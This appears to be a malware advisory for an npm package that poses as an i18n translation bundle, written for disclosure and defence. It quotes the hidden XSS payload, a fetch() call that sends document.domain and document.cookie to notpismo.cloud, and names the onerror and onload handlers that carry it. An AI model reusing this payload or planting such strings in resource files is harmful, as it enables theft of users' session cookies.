GCVE-110-OSM-2026-10997

The package's only shipped content, strings.json, is presented as an i18n/translation resource bundle but its values are HTML/JavaScript XSS payloads rather than localized text. Multiple entries use `<img src=x onerror=...>` and `<svg onload=...>` handlers that invoke fetch() against the hardcoded endpoint https://notpismo.cloud/c, sending `document.domain` and `document.cookie` as query parameters. Any consumer application that renders these strings as HTML (the ordinary use of an i18n bundle in web UIs) will execute the injected script in the end-user's browser and transmit that user's session cookies and hosting domain to notpismo.cloud. The package name and framing as a translation resource are a cover for the payload; there is no legitimate localization content in the file. Judge assessment: This package is a browser-side credential exfiltration payload disguised as an i18n resource bundle: the only shipped content in `strings.json` contains HTML/JavaScript payloads that call `fetch('https://notpismo.cloud/c?d='+document.domain+'&c='+document.cookie)`. The attacker model is clear: a consumer app that renders these strings as HTML will execute the injected XSS and leak the victim's session cookies and domain to the hardcoded custom C2 `notpismo.cloud`. The OSV advisory `MAL-2026-14471` is corroborated directly by the file contents, and the `network-request` finding plus plaintext exfil IOC confirm the malicious intent. The very new publisher account and single-version, no-repository metadata support a throwaway malicious package rather than a legitimate translation bundle. DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Network Request in strings.json: "fetch('https:" ADDITIONAL FINDINGS - Very New NPM Publisher Account PAYLOAD FILES strings.json